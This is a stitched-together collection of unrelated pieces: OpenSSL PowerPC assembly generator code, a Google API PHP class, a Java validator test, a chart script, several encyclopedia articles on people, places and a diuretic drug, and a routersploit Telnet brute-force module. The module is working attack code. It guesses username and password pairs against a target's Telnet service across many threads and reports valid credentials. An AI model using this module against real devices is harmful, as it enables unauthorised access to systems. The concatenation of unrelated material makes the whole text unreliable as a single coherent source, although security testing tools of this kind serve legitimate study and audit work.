$CMPLI="cmplwi";
$SHRLI="srwi";
$SIGNX="mr";
}
$code=<<___;
.machine "any"
.text
.globl .OPENSSL_ppc64_probe
.align 4
.OPENSSL_ppc64_probe:
fcfid f1,f1
extrdi r0,r0,32,0
blr
.long 0
.byte 0,12,0x14,0,0,0,0,0
.globl .OPENSSL_altivec_probe
.align 4
.OPENSSL_altivec_probe:
.long 0x10000484 # vor v0,v0,v0
blr
.long 0
.byte 0,12,0x14,0,0,0,0,0
.globl .OPENSSL_wipe_cpu
.align 4
.OPENSSL_wipe_cpu:
xor r0,r0,r0
fmr f0,f31
fmr f1,f31
fmr f2,f31
mr r3,r1
fmr f3,f31
xor r4,r4,r4
fmr f4,f31
xor r5,r5,r5
fmr f5,f31
xor r6,r6,r6
fmr f6,f31
xor r7,r7,r7
fmr f7,f31
xor r8,r8,r8
fmr f8,f31
xor r9,r9,r9
fmr f9,f31
xor r10,r10,r10
fmr f10,f31
xor r11,r11,r11
fmr f11,f31
xor r12,r12,r12
fmr f12,f31
fmr f13,f31
blr
.long 0
.byte 0,12,0x14,0,0,0,0,0
.globl .OPENSSL_atomic_add
.align 4
.OPENSSL_atomic_add:
Ladd: lwarx r5,0,r3
add r0,r4,r5
stwcx. r0,0,r3
bne- Ladd
$SIGNX r3,r0
blr
.long 0
.byte 0,12,0x14,0,0,0,2,0
.long 0
.globl .OPENSSL_rdtsc
.align 4
.OPENSSL_rdtsc:
mftb r3
mftbu r4
blr
.long 0
.byte 0,12,0x14,0,0,0,0,0
.globl .OPENSSL_cleanse
.align 4
.OPENSSL_cleanse:
$CMPLI r4,7
li r0,0
bge Lot
$CMPLI r4,0
beqlr-
Little: mtctr r4
stb r0,0(r3)
addi r3,r3,1
bdnz \$-8
blr
Lot: andi. r5,r3,3
beq Laligned
stb r0,0(r3)
subi r4,r4,1
addi r3,r3,1
b Lot
Laligned:
$SHRLI r5,r4,2
mtctr r5
stw r0,0(r3)
addi r3,r3,4
bdnz \$-8
andi. r4,r4,3
bne Little
blr
.long 0
.byte 0,12,0x14,0,0,0,2,0
.long 0
___
$code =~ s/\`([^\`]*)\`/eval $1/gem;
print $code;
close STDOUT;
``` |
```php
<?php
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
*/
namespace Google\Service\RemoteBuildExecution;
class GoogleDevtoolsRemoteworkersV1test2DirectoryMetadata extends \Google\Model
{
protected $digestType = GoogleDevtoolsRemoteworkersV1test2Digest::class;
protected $digestDataType = '';
public $path;
/**
* @param GoogleDevtoolsRemoteworkersV1test2Digest
*/
public function setDigest(GoogleDevtoolsRemoteworkersV1test2Digest $digest)
{
$this->digest = $digest;
}
/**
* @return GoogleDevtoolsRemoteworkersV1test2Digest
*/
public function getDigest()
{
return $this->digest;
}
public function setPath($path)
{
$this->path = $path;
}
public function getPath()
{
return $this->path;
}
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(GoogleDevtoolsRemoteworkersV1test2DirectoryMetadata::class, your_sha256_hash1test2DirectoryMetadata');
``` |
Eduard Gottlieb Profittlich, SJ (11 September 1890, in Birresdorf, village near Koblenz, German Empire – 22 February 1942, in Kirov, Soviet Union) was a Jesuit German Catholic archbishop, apostolic administrator of Estonia, victim of Soviet persecution, martyr and servant of God.
Biography
Early years
Profittlich was born on 11 September 1890 in Birresdorf, German Empire. He was the eighth of ten children born to peasant farmers, Markus Profittlich (1845-1921) and Dorothea Seiwert (1850-1913).
After finishing elementary school in Leimersdorf, in 1904 he was prepared by a local parish priest to take up further education in Ahrweiler. In 1909, he moved to the school in Linz am Rhein, graduating from high school in 1912 and receiving a secondary school certificate and entered the seminary of Trier, but did not graduate. His parents wanted him to become a diocesan priest to help them in emergency situations, but on 11 April 1913 he entered the Society of Jesus in 's-Heerenberg, Netherlands, where the German Jesuits had settled as a result of their expulsion caused by the Kulturkampf of Bismarck. His older brother Peter (1878-1915) died as a missionary in Brazil. Profittlich also wanted to become a Catholic priest and in September 1914 continued his studies at the scholasticate of Valkenburg aan de Geul, Netherlands.
During the First World War he served as an Army nurse and surgical assistant in a hospital in Vuizven, France from 1915 to 1918. On 4 January 1916, Profittlich received the tonsure and consecration to subdeacon, in the Cathedral of Trier by Heinrich Döring, SJ, (1859-1951), bishop of Poona.
Priest
Eduard Profittlich resumed his philosophical and theological studies at Maastricht after the war and was there ordained deacon at Valkenburg on 26 March 1922 by the Archbishop of Cologne Cardinal Karl Joseph Schulte (1871-1941). On 27 August 1922 Profittlich was ordained priest by Lorenz Schrijnen, bishop of Roermond, and on 30 August 1922 celebrated in his home parish church of St. Stephen in Leimersdorf his first Mass.
Profittlich entered the new Pontifical Oriental Institute in Rome, founded in 1917 by Pope Benedict XV, with the intention of preparing for clandestine missionary work in Russia. In 1923 he became a doctor in philosophy and in 1924 doctor in theology at the Jagiellonian University of Kraków. From September 1924 to June 1925 he was a missionary in Czechowice-Dziedzice, Poland, and from August 1925 to Match 1928 in Opole, a German city with many Poles; from 9 March 1928 to 1930 he was parish priest in the Polish parish of Saint Ansgar in Hamburg, and after 11 December 1930 parish priest at St Peter and St Paul in Tallinn, appointed by the apostolic administrator of Estonia, Archbishop Antonio Zecchini, SJ, after his profession of perpetual vows on 2 February 1930.
Apostolic Administrator and bishop
On 11 May 1931 Profittlich was appointed Apostolic Administrator of largely Polish Estonia, due to his good knowledge of Polish and Polish affairs. Catholicism had been banned from 1561 until 1719. The Catholic Church in Estonia at that time was relatively small, poor, and dispersed. As new administrator he quickly developed a pastoral plan. His sermons were particularly popular, attracting also those of other faiths. For the next ten years, he played a leading role in building the Catholic Church in Estonia. "Without the contribution of the bishop, the Catholic Church would not have withstood the years of occupation."
He began publishing the country's first church weekly magazine Kiriku Elu (The Life of the Church), which was read especially by the Estonian intelligentsia. "He was well-known among Estonian intellectuals, worked on publishing, interacted with the political elite, and was one of the authorities in independent Estonian society." The number of the faithful grew steadily and new parishes were established in: Narva, Pärnu, Rakvere, Petseri, Valga and Kiviõli. On 28 September 1933, in a private audience at the Vatican, Pope Pius XI named him a protonotary apostolic in recognition of his services.
Profittlich was a recognized preacher and a bishop. He began to address the issue of Estonian-language literature on the subject of religion. He tried to change the image of the Catholic Church as a "Polish church", and be more open and closer to Estonians. In 1935, he requested and received Estonian citizenship.
Archbishop
After the signing of the treaty between the Vatican and Estonia in 1935, under which the legal status of the apostolic administration in Estonia was confirmed, on 27 November 1936 he was named titular archbishop of Adrianople and on 27 December 1936 consecrated archbishop at the parish church of St Peter and St Paul in Tallinn, while remaining an apostolic administrator. Profittlich was the first Catholic bishop in Estonia since the passage of Estonian territories to Sweden in the 17th century.
After the Soviet occupation of Estonia in June 1940, Profittlich had to decide whether to leave or stay. He wrote Pope Pius XII for guidance. The Pope advised him to do whichever he felt in nomine Domini. He decided to stay. He went to the German embassy in Tallinn three times to obtain exit visas for certain Catholic priests, fifteen sisters and Baltic Germans to leave for Germany. However, the church's situation had deteriorated, with priest and faithful persecuted by the communists. He described the whole situation in a letter to the Pope. At that time, the German embassy in Tallinn insisted that he take German citizenship again and renounce his Estonian citizenship, but he refused.
In a letter to relatives and acquaintances on 8 February 1941, he wrote that the shepherd's place is with the flock where he shares the joy and suffering. He wrote that it is a great pleasure to experience the presence of God to whom we have given everything and that he is ready to give God his life for all: "My life – and, if necessary, my death – is life and death for Christ."
Arrest and death
On 27 June 1941, a few days after the Third Reich attack on the USSR, Profittlich was arrested by eight NKVD agents and transferred to prison in Kirov, Russia, for anti-Soviet agitation and assistance to Catholic ecclesiastics abroad. He was repeatedly interrogated and on 14 October 1941 a bill of indictment was prepared in Kirov, in which he was accused of carrying out anti-Soviet agitation by using the religious feelings of the masses to incite hatred for the USSR and the Communist Party. In addition, he was accused of espionage in favor of the Third Reich, proven by his visit to the embassy in Tallinn. After the next interrogations, on 17 October 17, he was confronted with further evidence of anti-Soviet talks with his fellow prisoner. He always maintained his innocence.
The trial began on 25 October 1941, and he was found guilty. His appeal to the Supreme Court of the USSR was rejected. He was sentenced to 5 years imprisonment and work in the labor camp in Kirov, but on 21 November of the same year he was sentenced to death by shooting, for anti-Soviet activities and espionage for Germany. On 22 February 1942 he died from exposure at Kirov before the sentence was carried out.
For 50 years after his arrest the future of the Archbishop was unknown. It was suspected that he was imprisoned in Ufa and later in Kazan. Even searching for members of his family did not bring anything new to the matter. A breakthrough came on 30 March 1990, when Estonia regained its independence. On 12 June 1990 the Supreme Court informed the Catholic Church about the fate of the Archbishop and the court has completely rehabilitated the clergy post mortem, and declared him innocent of the alleged crimes. Archives were also opened, in which documents of the Archbishop's case were kept.
Process of holiness
His honor is named on the premises of the Tartu Catholic Education Center, and a memorial plaque (open on 11 September 1990) has been placed in the St Peter and St Paul Roman Catholic Church in Tallinn. The cathedral has a museum displaying some of the Archbishop's effects.
The Bishops' Conference of the Russian Federation initiated on 30 January 2002 the beatification process of Archbishop Eduard Profittlich (along with 15 lay people, priests and bishops). After the Congregation for the Causes of Saints granted the "nihil obstat" under the title "Causa Beatificationis seu Declarationis Martyrii Servorum Dei Eduardi Profittlich Archiepiscopi titularis Hadrianopolitani in Haemimonto Administratoris Apostolici Estoniensis, ex Societate Iesu et XV Sociorum", on 30 May 2003 an ecclesiastical procedure was opened in Saint Petersburg for Eduard Profittlich's beatification. In March 2019, the beatification documents of Archbishop Eduard Profittlich reached the Congregation in Rome and were validated on 12 June 2020.
References
Sources
Vello Salo. "EPISCOPUS ET MARTYR Eduard Profittlich in Estonia 1930-1941". - Maarjamaa, No 2 (133), 2011.
Lambert Klinke. "Erzbischof Eduard Profittlich und die Katolische Kirche in Estland 1930-1942". Ulm, Hess, 2000.
"Der Fels", "Erzbischof Dr. Eduard Profittlich - ein Opfer des Kommunismus" (German), No. 7, R. 34, June 2003.
Further reading
Alena Kharko: Eduard Profittlich. In: Thomas Bremer, Burkhard Haneke (Hrsg.): Witnesses for God: Faith in communist time, Bd. 1. Aschendorff publishing house, Muenster 2014, , S. 47–64.
Lambert Klinke: Art. Archbishop Eduard Profittlich. In: Helmut Moll (ed.): Witnesses to Christ. The German martyrology of the 20th century, 6th, extended and restructured edition, Schöningh, Paderborn 2015, , Vol. 2, pp. 1096–1100.
Lambert Klinke: Archbishop Eduard Profittlich and the Catholic Church in Estonia 1930–1942. Hess, Bad Schussenried 2000, .
Lambert Klinke: Profittlich, Eduard. In: Biographical Bibliographic Church Lexicon (BBKL). Volume 19, Bautz, Nordhausen 2001, , Sp. 1104–1114.
Lambert Klinke: Peapiiskop Eduard Profittlich: Elu ja saatus. In: Akadeemia. Eesti kirjanike liidu kuukiri Tartus, ISSN 0235-7771, vol. 12 (2000), No. 2, 288-297 (Estonian).
External links
http://www.catholic-hierarchy.org/bishop/bprof.html
santiebeati
it.catholicmartyrs.org
russiacristiana.org
http://www.eha.ee/fa/public//index.php?act=search_detail&a_id=2553&isik=&autor=&esitaja=&string=&pealk=&mark=&mod=3&lang=et&nocache=1368796576
http://viaf.org/viaf/72300388/
https://portal.dnb.de/opac.htm?method=simpleSearch&cqlMode=true&query=nid%3D123410940
1890 births
1942 deaths
20th-century Roman Catholic titular archbishops
Apostolic pronotaries
Estonian people of German descent
Estonian Roman Catholic archbishops
Estonian Jesuits
Jesuit bishops
German Servants of God
Catholic martyrs
Catholic Church in Russia
Estonian people who died in Soviet detention
German expatriates in the Netherlands
People from Ahrweiler (district)
Clergy from the Rhine Province |
```java
package com.yahoo.search.searchers.test;
import com.yahoo.search.Query;
import com.yahoo.search.schema.Field;
import com.yahoo.search.schema.FieldSet;
import com.yahoo.search.schema.Schema;
import com.yahoo.search.schema.SchemaInfo;
import com.yahoo.search.searchchain.Execution;
import com.yahoo.search.searchers.QueryValidator;
import org.junit.jupiter.api.Test;
import java.util.List;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.fail;
/**
* @author bratseth
*/
public class QueryValidatorFieldTypeTest {
@Test
void testTensorsCannotBeSearchedForTerms() {
var test = new Schema.Builder("test")
.add(new Field.Builder("mytensor1", "tensor(x[100])").build())
.add(new Field.Builder("mytensor2", "tensor<float>(x[100])").build())
.add(new Field.Builder("mystring", "string").addAlias("fieldAlias").build())
.add(new FieldSet.Builder("myFieldSet").addField("mystring").build())
.build();
var schemaInfo = new SchemaInfo(List.of(test), List.of());
Execution execution = new Execution(Execution.Context.createContextStub(schemaInfo));
assertSucceeds("?query=mystring:foo", execution);
assertSucceeds("?query=fieldAlias:foo", execution);
assertSucceeds("?query=myFieldSet:foo", execution);
assertSucceeds("?query=none:foo", execution);
assertFails("Cannot search for terms in 'mytensor1': It is a tensor field",
"?query=mytensor1:foo", execution);
assertFails("Cannot search for terms in 'mytensor2': It is a tensor field",
"?query=mytensor2:foo", execution);
}
private void assertSucceeds(String query, Execution execution) {
new QueryValidator().search(new Query(query), execution);
}
private void assertFails(String expectedError, String query, Execution execution) {
try {
new QueryValidator().search(new Query(query), execution);
fail("Expected validation error from " + query);
}
catch (IllegalArgumentException e) {
// success
assertEquals(expectedError, e.getMessage());
}
}
}
``` |
Chinese military texts have existed ever since Chinese civilization was founded. China's armies have long benefited from this rich strategic tradition, influenced by texts such as Sun Tzu's The Art of War, that have deeply influenced military thought. Although traditional Chinese Confucian philosophy favoured peaceful political solutions and showed contempt for brute military force, the military was influential in most Chinese states. The works of well known strategists such as Sun Tzu and Sun Bin have heavily influenced military philosophy, warfare, and political discourse throughout China's long history. Works such as The Art of War have also found a strong following around the world, where they have influenced people as far ranging as the Chinese Communist Party and the former Secretary of Defense Donald Rumsfeld.
Overview
The most well known of these military texts are the Seven Military Classics. The texts were canonized under this name during the 11th century AD, and from the Song Dynasty onwards were included in most military encyclopedias. For imperial officers, either some or all of the works were required reading to merit promotion, analogous to the requirement for all bureaucrats to study and become familiar with Confucius' work. There were many anthologies with different notations and analyses by scholars throughout the centuries leading up to the present versions in Western publishing. Members of the Chinese Communist Party also studied the texts during the Chinese Civil War as well as many European and American military minds.
Usage
The table's columns (except for Content and Images) are sortable by pressing the relevant arrows symbols. The following gives an overview of what is included in the table and how the sorting works.
Name: the name as traditionally used by scholars
Author: name of the author(s)
Content: brief overview of the military text and its content
Dynasty: dynasty or time period
Date: year; The column entries sort by year
Origin: the state from which the text originated from, this applies mainly to the Warring States period and the Spring and Autumn period, when Chinese civilization was fractured into many independent kingdoms
Image: picture of the document, an illustration from the document, a related document, or the alleged author of the document
Description: a brief description of the image
Military Texts
Seven Military Classics
Others
References
Sources
Sun, Tzu, The Art of War, Translated by Sam B. Griffith (2006), Blue Heron Books,
Needham, Joseph (1986). Science and Civilization in China: Volume 5, Chemistry and Chemical Technology, Part 7, Military Technology; the Gunpowder Epic. Taipei: Caves Books Ltd.
Texts
Military texts |
Terry Cashman (born Dennis Minogue; July 5, 1941) is an American record producer and singer-songwriter, best known for his 1981 hit, "Talkin' Baseball". While the song is well recognized today and allowed Cashman the chance to meet the featured players, it was all but ignored by typical Top 40 radio during its chart life, making only the Billboard Adult Contemporary chart.
Early life
Cashman was born in New York City and grew up in northern Manhattan a fan of the New York Giants (and subsequently the San Francisco Giants) until he became a New York Mets fan when Willie Mays was traded to them in 1972.
Career
Cashman was the lead singer for a band called The Chevrons, in the late 1950s through the early 1960s. He also played Minor League Baseball in the Detroit Tigers organization at around the same time.
In 1967, Cashman teamed up with Gene Pistilli and Tommy West to form the pop-folk group Cashman, Pistilli and West. Their debut album, Bound to Happen (1967), included the Cashman-Pistilli composition "Sunday Will Never Be the Same", a No. 9 hit on the Billboard Hot 100 for Spanky and Our Gang that year, and No. 7 in Canada.
In 1969, Cashman, Pistilli and West, under the name Buchanan Brothers, peaked at No. 22 on the Billboard Hot 100 and No. 15 in Canada with "Medicine Man". The follow-up, "Son of a Lovin' Man", peaked at No. 61 on the Hot 100 and No. 50 in Canada. Their single "The Last Time" reached No. 88 in Canada in January 1970. Cashman, Pistilli and West (later reduced to Cashman & West) enjoyed modest success, recording six albums through 1975.
In November 1972, Cashman & West's song "American City Suite" hit No. 27 on the Hot 100 and No. 25 on the Canadian RPM chart. In 1973, one of the Partridge family episodes featured "Sunshine Eyes", with the music and lyrics as by Terry Cashman and T.P. West. The Cashman-West team also produced all the hit recordings of singer-songwriter Jim Croce. In 1975, they launched Lifesong Records, which would have hits including "Shannon" by Henry Gross and "Ariel" by Dean Friedman.
Inspired by a picture he had received of Willie Mays, Duke Snider, Joe DiMaggio and Mickey Mantle, Cashman decided to write a song dedicated to 1950s baseball. The popular choral refrain in the song "Talkin' Baseball" — "Willie, Mickey, and The Duke" — immediately struck a chord with fans in 1981, who were disappointed by the Major League Baseball strike that summer. Cashman performed the song at the 1982 induction ceremony where he also performed his song Cooperstown, which is dedicated to the Hall of Fame.
Cashman has since recorded multiple versions of the song for different Major League Baseball teams. Because of this, he is now known as "The Balladeer of Baseball". He also recorded a parody of the song in 1992, "Talkin' Softball", for the end credits of The Simpsons episode "Homer at the Bat."
National honors
The Baseball Hall of Fame and Museum honored Cashman in summer 2011 as part of its induction weekend. Cashman performed his ballpark anthem once again during ceremonies on July 23, 2011, a day before Roberto Alomar, Bert Blyleven and Pat Gillick were inducted.
In 2011, he was inducted into the Irish American Baseball Hall of Fame.
References
External links
1941 births
Living people
American male singer-songwriters
Record producers from New York (state)
Singer-songwriters from New York (state)
Baseball pitchers
Morristown Cubs players
Montgomery Rebels players |
```python
import itertools
from routersploit.core.exploit import *
from routersploit.core.telnet.telnet_client import TelnetClient
from routersploit.resources import wordlists
class Exploit(TelnetClient):
__info__ = {
"name": "Telnet Bruteforce",
"description": "Module performs bruteforce attack against Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Multiple devices",
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(23, "Target Telnet port")
threads = OptInteger(8, "Number of threads")
usernames = OptWordlist("admin", "Username or file with usernames (file://)")
passwords = OptWordlist(wordlists.passwords, "Password or file with passwords (file://)")
stop_on_success = OptBool(True, "Stop on first valid authentication attempt")
verbosity = OptBool(True, "Display authentication attempts")
def run(self):
self.credentials = []
self.attack()
@multi
def attack(self):
if not self.check():
return
print_status("Starting bruteforce attack against Telnet service")
data = LockedIterator(itertools.product(self.usernames, self.passwords))
self.run_threads(self.threads, self.target_function, data)
if self.credentials:
print_success("Credentials found!")
headers = ("Target", "Port", "Service", "Username", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def target_function(self, running, data):
while running.is_set():
try:
username, password = data.next()
telnet_client = self.telnet_create()
if telnet_client.login(username, password, retries=3):
if self.stop_on_success:
running.clear()
self.credentials.append((self.target, self.port, self.target_protocol, username, password))
telnet_client.close()
except StopIteration:
break
def check(self):
telnet_client = self.telnet_create()
if telnet_client.test_connect():
print_status("Target exposes Telnet service", verbose=self.verbosity)
return True
print_status("Target does not expose Telnet service", verbose=self.verbosity)
return False
@mute
def check_default(self):
if self.check():
self.credentials = []
data = LockedIterator(itertools.product(self.usernames, self.passwords))
self.run_threads(self.threads, self.target_function, data)
if self.credentials:
return self.credentials
return None
``` |
Cyclothiazide (Anhydron, Acquirel, Doburil, Fluidil, Renazide, Tensodiural, Valmiran), sometimes abbreviated CTZ, is a benzothiadiazide (thiazide) diuretic and antihypertensive that was originally introduced in the United States in 1963 by Eli Lilly and was subsequently also marketed in Europe and Japan. Related drugs include diazoxide, hydrochlorothiazide, and chlorothiazide.
In 1993, it was discovered that cyclothiazide is a positive allosteric modulator of the AMPA and kainate receptors, capable of reducing or essentially eliminating rapid desensitization of the former receptor, and potentiating AMPA-mediated glutamate currents by as much as 18-fold at the highest concentration tested (100 μM). Additionally, in 2003, cyclothiazide was also found to act as a GABAA receptor negative allosteric modulator, potently inhibiting GABAA-mediated currents. In animals it is a powerful convulsant, robustly enhancing epileptiform activity and inducing seizures, but without producing any apparent neuronal death.
Cyclothiazide has been found to act as a non-competitive antagonist of the mGluR1. It is selective for mGluR1 over other metabotropic glutamate receptors.
Synthesis
See also
AMPA receptor positive allosteric modulator
References
Diuretics
Sulfonamides
AMPA receptor positive allosteric modulators
Kainate receptor agonists
Benzothiadiazines
Chloroarenes
GABAA receptor negative allosteric modulators
Carbonic anhydrase inhibitors
Convulsants
MGlu1 receptor antagonists
Alkene derivatives |
Quest Oracle Community (formerly Quest International Users Group) is a not-for-profit organization dedicated to supporting users of JD Edwards, PeopleSoft, and Oracle Cloud applications. It is an Oracle User Group.
It is part of the International Oracle User Group Community which also includes the Oracle Applications Users Group (OAUG) and the Independent Oracle Users Group (IOUG).
Quest International Users Group was formed in 1995 with the blessings and support of Ed McVaney, one of the founders of JD Edwards. The goal was to provide users a community to not only vent their frustrations but to also provide candid feedback for improving JDE products. JD Edwards was acquired by PeopleSoft in 2003, and in 2005 Oracle acquired PeopleSoft. Since Oracle supported a user-group model with organizations such as OAUG and IOUG, Quest became an entity on par with OAUG and IOUG under the banner of the International Oracle User Group Community (IOUC).
Quest is one of the three sponsors, along with IOUG and OAUG, of the yearly conference COLLABORATE.
In July 2018, Quest changed its name from Quest International Users Group to Quest Oracle Community.
In March 2019, Quest announced that the IOUG would be joining the Quest Oracle Community. The deal was finalized in May 2019.
References
External links
COLLABORATE
User groups
Oracle Corporation
Non-profit organizations based in Lexington, Kentucky
Organizations established in 1995
1995 establishments in Kentucky |
La Compôte (; ) is a commune in the Savoie department in the Auvergne-Rhône-Alpes region in south-eastern France.
Geography
The village lies in the northern part of the commune, on the right bank of the Chéran, which flows northwestward through the northern part of the commune.
See also
Communes of the Savoie department
References
External links
Official site
Communes of Savoie |
Ludovico I Gonzaga (1268 – 18 January 1360) was an Italian lord, the founder of the Gonzaga family who was the first capitano del popolo of Mantua and imperial vicar.
Biography
Born in Mantua, he was the son of Guido Corradi and the grandson of Antonio Corradi. On 16 August 1328, with the help of Ghibelline troops from Cangrande I della Scala and his father-in-law Guglielmo Azzone Panebarco, he ousted Rinaldo Bonacolsi from Mantua, replacing him as capitano generale. The following 28 August he was elected capitano del popolo ("Captain of the People") by the inhabitants. The following year Louis IV appointed him as imperial vicar and in 1335 he became also lord of Reggio Emilia.
In 1339, he supported Luchino, Giovanni and Azzone Visconti against Mastino II della Scala and Lodrisio Visconti, sending troops that helped the former to win the Battle of Parabiago. In 1342 he helped Pisa stand the Florentine assault.
In 1349 Ludovico housed poet Francesco Petrarca, who visited Vergil's tomb in Mantua. In his late years he fought against Bernabò Visconti. He died at Mantua in 1360 and was buried in the city cathedral.
He was succeeded in Mantua by his son Guido, while his other son Feltrino held Reggio Emilia.
Notes
External links
Genealogy of the Gonzaga of Novellara
1268 births
1360 deaths
Ludovico 1
14th-century condottieri
13th-century Italian nobility
Lords of Mantua
14th-century Italian nobility |
```xml
/**
* A recreation of this demo: path_to_url
*/
import { Chart } from '@antv/g2';
const axis = {
zIndex: 1,
titlePosition: 'right',
line: true,
labelStroke: '#fff',
labelLineWidth: 5,
labelFontSize: 10,
labelStrokeLineJoin: 'round',
titleStroke: '#fff',
titleFontSize: 10,
titleLineWidth: 5,
titleStrokeLineJoin: 'round',
titleTransform: 'translate(-50%, 0) rotate(-90)',
lineStroke: 'black',
tickStroke: 'black',
lineLineWidth: 1,
};
const chart = new Chart({
container: 'container',
autoFit: true,
});
chart.coordinate({ type: 'parallel' });
chart
.line()
.data({
type: 'fetch',
value: 'path_to_url
})
.encode('position', [
'economy (mpg)',
'cylinders',
'displacement (cc)',
'power (hp)',
'weight (lb)',
'0-60 mph (s)',
'year',
])
.encode('color', 'weight (lb)')
.style('lineWidth', 1.5)
.style('strokeOpacity', 0.4)
.scale('color', {
palette: 'brBG',
offset: (t) => 1 - t,
})
.legend({
color: { length: 400, layout: { justifyContent: 'center' } },
})
.axis('position', axis)
.axis('position1', axis)
.axis('position2', axis)
.axis('position3', axis)
.axis('position4', axis)
.axis('position5', axis)
.axis('position6', axis)
.axis('position7', axis);
chart.interaction('tooltip', { series: false });
chart.render();
``` |
Morton Isaac Abramowitz (born January 20, 1933) is an American diplomat and former U.S. State Department official. Starting his overseas career in Taipei, Taiwan after joining the foreign service, he served as U.S. Ambassador to Thailand and Turkey and as the Assistant Secretary of State for Intelligence and Research. He retired from the State Department with the rank of Career Ambassador. He then became president of the Carnegie Endowment for International Peace and founded the International Crisis Group.
Abramowitz currently serves as co-chair for the Bipartisan Policy Center's Turkey Initiative.
Early life
Morton Abramowitz was born in Lakewood Township, New Jersey, on January 20, 1933, the son of Mendel and Dora (Smith) Abramowitz. He received his B.A. from Stanford University (in history and economics) in 1953. He then attended Harvard University, earning an M.A. in 1955.
He also served in the U.S. Army and U.S. Army Reserves from 1958 to 1961.
In 1956, Abramowitz joined the United States Department of Labor as a management intern and, then, as a labor economist from 1957–58, while waiting for an appointment at the Department of State.
Career in the Foreign Service
In 1959, he joined the United States Department of State. His first two assignments were as a consular-economic officer in Taipei (1960-1962) and an economic officer in Hong Kong (1963-1966). He was known as Ai Mo-huei (), his Mandarin name during his tour in Taiwan.
He returned to Washington in 1966, spending the next seven years there in various capacities, including serving as special assistant to Under Secretary Elliot Richardson.
From 1973 to 1978, he was political adviser to the Commander-in-Chief of the Pacific Command (1973-1974) and then deputy assistant secretary of Defense for international affairs (1974-1978).
In 1978, President of the United States Jimmy Carter named Abramowitz United States Ambassador to Thailand, and he held this post from August 9, 1978 until July 31, 1981.
In 1983, President Ronald Reagan named Abramowitz as the U.S. representative to the Mutual and Balanced Force Reduction Negotiations in Vienna, with ambassadorial rank.
In 1985, President Reagan nominated Abramowitz as Director of the Bureau of Intelligence and Research, and Abramowitz held this office from February 1, 1985 through May 19, 1989 (with the name of the office changing to Assistant Secretary of State for Intelligence and Research in 1986).
In 1989, President George H. W. Bush named Abramowitz United States Ambassador to Turkey, a post he held until 1991.
In 1990, he was awarded the rank of Career Ambassador.
Post Government career
Abramowitz retired from government service in 1991 and took over as president of the Carnegie Endowment for International Peace. He was elected a Fellow of the American Academy of Arts and Sciences in 1995. He retired from that position in 1997. Since then, he has been a Senior Fellow of The Century Foundation and a director of the National Endowment for Democracy.
He is a long-time board member of the International Rescue Committee.
Abramowitz played a leading role in the foundation of the International Crisis Group, and has been a board member since its inception in 1995.
Abramowitz served for nine years on the board of the National Endowment for Democracy, and on retirement in 2007 was awarded its Democracy Service Medal.
Family
Abramowitz is married to Sheppie Glass Abramowitz, the sister of composer Philip Glass. Sheppie Abramowitz spent her career advocating on behalf of refugees and asylum seekers for the International Rescue Committee and KIND (Kids in Need of Defense).
The couple have two adult children. Michael Abramowitz, the president of Freedom House, is a former reporter and editor at the Washington Post and headed the Committee on Conscience of the U.S. Holocaust Memorial Museum.
He is married to Susan Baer, a former reporter at the Baltimore Sun. Daughter Rachel Abramowitz had a successful career as an entertainment reporter for the Los Angeles Times before embarking on a second career writing scripts for cable television pilots with her husband, screenwriter (Wonderful World) and director Joshua Goldin.
Awards
Lifetime Contributions to American Diplomacy (2006), awarded by the American Foreign Service Association
Democracy Service Medal (2007), awarded by the National Endowment for Democracy
Joseph C. Wilson Award for International Service from the University of Rochester
Career Ambassador (1990)
National Intelligence Medal (1989)
President's Award for Distinguished Federal Civilian Service (1981, 1985, 1988)
in 1980, and the President’s Award for Distinguished Federal Service in 1981, 1985, and 1988. He also was awarded the National Intelligence Medal in 1989, the Director General’s Cup of the Foreign Service in 1995, and the Award for Lifetime Contributions to American Diplomacy of the American Foreign Service Association.
Writing
Americans Are Ignoring Syria's Humanitarian Crisis, Washington Post, December 5, 2013
With Richard Harris Moorsteen,
Moving the Glacier: The Two Koreas and the Powers International Institute for Strategic Studies, 1971
East Asian Actors and Issues (1991)
China: Can We Have A Policy? Carnegie Endowment for International Peace, 1997,
ed. Turkey's Transformation and American Policy, Century Foundation Press, 2000,
with James T. Laney,
ed. The United States and Turkey: allies in need, Century Foundation Press, 2003,
with Stephen W. Bosworth, Chasing the Sun: Rethinking East Asian Policy Since 1992 Century Foundation, 2006,
References
External links
Foreign Service Journal article on his Lifetime Contributions to American Diplomacy Award.
from History Commons
Profile from the Century Foundation
1933 births
United States Assistant Secretaries of State
Living people
Stanford University School of Humanities and Sciences alumni
Harvard University alumni
20th-century American Jews
United States Department of Labor officials
Ambassadors of the United States to Thailand
Ambassadors of the United States to Turkey
United States Career Ambassadors
People from Lakewood Township, New Jersey
Fellows of the American Academy of Arts and Sciences
Assistant Secretaries of State for Intelligence and Research
Carnegie Endowment for International Peace
Recipients of the President's Award for Distinguished Federal Civilian Service
21st-century American Jews
20th-century American diplomats |
Sigurd Hole (born 13 July 1981) is a Norwegian jazz musician (upright bass) from Rendalen living in Oslo.
Biography
Sigurd Hole was born in Elverum, Norway, and has worked in jazz ensembles and presetented content related to Norwegian folk music. He has been nominated for a Norwegian Grammy twice in recent years.
Hole released his first album as a leader, the solo double bass album called "Elvesang", in January 2018. Influenced by classical minimalism, his own Norwegian musical heritage and the sound of the Japanese Shakuhachi flute, he explores the double bass as a medium of sound, creating more often than not meditative movements resembling abstract images of different sounds and objects in nature. "Elvesang", described by The New York Times as "An atmospheric solo bass album", was included in prestigious Best of 2018 lists both in All About Jazz and The New York City Jazz Record. In February 2020 he will release a new solo double bass album called "Lys / Mørke". The double album recorded on the arctic islands of Fleinvær in Northern Norway can in many ways be seen as a response to our the climate and ecological crisis, focusing in large on the conscious act of really listening to the natural world - both on a concrete and on a more abstract level. The album will be premiered in Weill Recital Hall at Carnegie Hall on February 3, 2020, as one of the very few solo double bass concerts ever to have been performed at this legendary venue.
